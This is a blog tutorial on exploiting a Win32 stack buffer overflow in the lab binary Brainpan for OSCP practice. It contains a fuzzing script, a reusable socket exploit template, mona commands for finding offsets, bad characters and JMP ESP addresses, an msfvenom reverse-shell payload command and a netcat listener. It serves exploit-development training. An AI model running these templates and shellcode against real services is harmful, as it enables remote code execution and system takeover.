Buffer Overflow — Win32 Stack Based Buffer Overflow
--
Introduction
In today’s blog, i’ll share the steps that I used to exploit buffer overflow during the OSCP labs. This can be apply to any Win32 stack based buffer overflow without any protection enable eg: SEHOP, ASLR, DEP, CFG… I decided to write this article to make sure I understood how buffer overflows attack works. Thanks Tib3rius for helping me understand better how buffer overflow works. This article is based from his buffer overflows cheat sheet which I highly recommend.
There’s a great room over at TryHackMe made by Tib3rius to practice buffer overflows..Saving you times from downloading binaries and dealing with VMs (You can skip the Lab Environment section if you decide to take this route, I highly recommend you do TryHackMe room) Link below:
https://tryhackme.com/room/bufferoverflowprep
What is a Buffer Overflow?
A buffer overflow is the art of exploiting a vulnerability by overwriting the memory of a program/application by changing the execution flow. The attacker can insert code to instruct the application to execute malicious code in the memory.
I’m not gonna dive deep into how everything works because that wasn’t my intention when writing this.
Lab Environment
I’m using VMware Fusion and installed a Windows 10 virtual machine from the Microsoft Evaluation Center:
Next, you need a debugger:
And finally, I suggest to install mona. This is optional but HIGHLY recommended.
The installation of Windows 10 and Immunity Debugger is pretty straight forward. For mona, you just need to git clone the repo and copy mona.py to the PyCommands Folder.
Location of PyCommand:
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\
Note from Corelan Team: Install Python 2.7.14 (or a higher 2.7.xx version) into c:\python27, thus overwriting the version that was bundled with Immunity. This is needed to avoid TLS issues when trying to update mona. Make sure you are installing the 32bit version of python.
You will need to download some application to practice so I made a list of simple application vulnerable to buffer overflows:
- BrainPan
- DoStackBufferOverflowGood
- SLMail
- FreeFloatFTP Server 1.0
- Minishare 1.4.1
- Savant 3.1
- WarFTPD 1.6.5
Buffer OverFlow Configurations
Once you’re all set, the first thing to do is to start Immunity Debugger as Administrator. I’ll be exploiting Brainpan in this article.
- Right-click on Immunity Debugger and choose Run as administrator
2. Once Immunity Debugger is opened, you can attach or open the executable program.
3. When you opened a vulnerable program, you’ll have to set your working folder for mona, notice that the program is on Paused (bottom right corner). Everytime you want to run mona commands, you have to enter them in the bottom left corner (indicated by the red arrow). The %p will create the name of the executable for the path. You can choose any name you want if you don’t want to use %p.
!mona config -set workingfolder c:\mona\%p
4. Press enter and you’ll see this in immunity debugger:
We can come back to our main window by doing:
windows > CPU - main thread, modules brainpan
Once we’re back in the main window, we can start fuzzing the application.
Fuzzing
Fuzzing is a technique that involves providing random data as inputs to crash the program. You have to adapt the fuzzer depending on the application. In this article, the fuzzer is extremely simple.
Here’s a python template to fuzz an application vulnerable to a buffer overflow. You can tweak it according to your needs (if you need to add a username, password…) The fuzzer send a bunch of A’s to the target in hoping to crash it.
import socket, time, sys
ip = "" #IP OF TARGET
port = 9999 #TARGET PORTtimeout = 5 # Create an array of increasing length buffer strings. buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send(string)
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
The goal is to crash the application using the fuzzer. We can press the play button in immunity debugger. The application should be running:
Now that the application is running, we can send our fuzzer to crash the application, make sure to use your Windows 10 IP:
python fuzzer.py
The fuzzer stop sending bytes after sending 600 bytes to the target machine. This is because the application crashed. We can go back to the Windows machine and we can see that the application, indeed, crashed.
The EIP should be overwritten with the value 41414141, this is the hex value of AAAA that we sent with our fuzzer.
Controlling EIP
Once we know that we can crash the application by sending 600 bytes of random data, our next goal is to gain control of the EIP. It’s hard to know exactly which A’s are exactly on the EIP because we only sent a bunch of A’s (obviously).
We can generate a cyclic pattern to find the exact offset of the crash. We can use mona or msf-pattern_create. I like to use msf-pattern_create. The size will be the number of bytes that crashed the application, in this case, 600.
msf-pattern_create -l 600
You can do the same thing with mona inside immunity debugger:
!mona pc 600
Now that we have a generated pattern, we will use it in our exploit.
Exploitation
It’s time to exploit the vulnerabilty. You can use the template below to create your exploit:
import socket
ip = "" #IP OF TARGET
port = #PORT OF TARGET
prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
We can now copy and paste the cyclic pattern we generated in the payload section of the script.
It should look like this:
Close Immunity Debugger, start it again running as administrator, open the program and click on the play button.
Run the exploit against the target and the application should crash.
We can see our random letters we just sent in the ESP. We need to find the exact offset. We’ll use mona for this, the distance value is the same as the cyclic pattern we generated:
!mona findmsp -distance 600
mona examine the registers and gives the exact offset of 524 on the EIP line.
We know that the exact offset is 524 so we can modify our exploit offset but with a little twist. Since we know the offset, we’ll try to write BBBB to the EIP. We’ll add the BBBB to the retn variable in the python script and remove the payload content:
Close Immunity Debugger, start it again running as administrator, open the program and click on the play button.
Run the exploit against the target and the application should crash. In Immunity Debugger, the EIP should contain our value of 42424242, the hex value of BBBB. This mean that we have complete control over the EIP.
We can inspect the stack and see our BBBB:
Finding Bad Characters
Depending on the programs, some byte characters are not allowed and can cause issues during the exploitation. We need to find which byte characters is causing issues. The null byte (x00) is always considered an issue when it comes to shellcoding so we can already rule that one out.
We can generate a long list of bad characters without the null byte using this short python script:
from __future__ import print_function
listRem = "".split("\\x") #CHANGE THE BADCHARS
for x in range(1, 256):
if "{:02x}".format(x) not in listRem:
print("\\x" + "{:02x}".format(x), end='')
print()
Let’s run the script. We can place the result inside our payload variable in the exploit script:
Copy all of the bad characters and paste it in the exploit like the figure below:
Next, we’ll go back to Immunity Debugger and generate a bytearray using mona:
Note: We could’ve use the byte generated by mona below instead of the python script but I think it’s faster to use the python script.
!mona bytearray -b "\x00"
Close Immunity Debugger, start it again running as administrator, open the program and click on the play button and send the exploit. The application should crash again and now we can find the bad characters using mona. We use the ESP address to compare the bad characters, in this case it’s 005FF910:
!mona compare -f C:\mona\brainpan\bytearray.bin -a 005FF910
Once we press enter, mona is comparing for us the bad characters. We could do it manually but I think mona is more reliable since we can miss one bad characters if we’re tired or else.
The result should give unmodifed that means there’s no more bad characters. This is great.
The only bad character is \x00.
Note: For example, if mona find more bad characters, we need to do the whole process again but we have to exclude the bad characters. Below is an example:
Let’s say mona found \x0A to be a bad character, we need to generate a new list of bad characters, we add \x0A to the listRem variable:
from __future__ import print_function
listRem = "\\x0a".split("\\x") #CHANGE THE BADCHARS
for x in range(1, 256):
if "{:02x}".format(x) not in listRem:
print("\\x" + "{:02x}".format(x), end='')
print()
You copy the output of the script and paste it in the payload variable of the exploit.
Next, we generate a new bytearray with mona with the excluded bad chars.
!mona bytearray -b "\x00\x0A"
Close Immunity Debugger, start it again running as administrator, open the program and click on the play button and send the exploit. Then compare again using mona:
!mona compare -f C:\mona\PATH\bytearray.bin -a ESP_ADDRESS
This is a long process if you have a lot of bad characters. You have to do this until you have the mona status unmodified.
Finding a Jump Point
We now have to find a jump address to redirect the EIP to point to our shellcode during the crash. We can use mona to find a jmp address
Close Immunity Debugger, start it again running as administrator, open the program and search for a jmp address:
JMP ESP — inside .exe
!mona jmp -r esp -cpb "\x00"
mona found a valid pointer: 0x311712f3
NOTE: If you can’t find a valid .exe, you can use a DLL
JMP ESP — inside DLL
!mona modules
We need to find a .dll in the list mona gave us where Rebase, SafeSEH, ASLR, NXCompat are sets to False.
Once you have found a valid DLL, you can run the command below to search for a JMP ESP(FFE4) inside the DLL:
!mona find -s "\xff\xe4" -m <DLL>
Now that we have our JMP point, we’ll use it as the return address. We can update the retnvariable in our exploit with this new address. We have to write it backwards since it’s little endian. Little-endian is when the least significant bytes are stored before the more significant bytes.
In this case, our address:
0x311712f3
Becomes
\xf3\x12\x17\x31
Update the exploit like this:
Now we’re ready to create our malicious code
Shellcode
We can now create our shellcode with msfvenom. We add the -b argument to specify the bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=80 EXITFUNC=thread -v payload -b "\x00" -f py --smallest
Output:
Now that you have your shellcode ready, you can copy and paste it in the payload variable of the exploit:
No Operation Instructions
Usually, we have to add a series of No Operation (or NOP) instructions, which have an opcode value of 0x90. These instructions do nothing. The NOP sled will let the CPU slide through the NOPs to its final destination (payload).
You can add the NOP to the padding variable of the exploit.
NOTE: Sometimes you need more NOPs depending on the application. In this case, 16 is enough.
padding = "\x90" * 16
Final Exploit
We’re ready to fully exploit the buffer overflow vulnerablity. Let’s go over our final exploit code:
- We have set the offset to: 524
- Our return address is: \xf3\x12\x17\x31
- We added NOPs: x90 * 16
- We added our shellcode
Start a Netcat listener:
sudo nc -vnlp 80
Close Immunity Debugger, start it again running as administrator, open the program and click on the play button.
Finally, send the exploit to the target machine and you should receive a shell!
Conclusion
Feel free to reach out if you have any questions.
0xAlmighty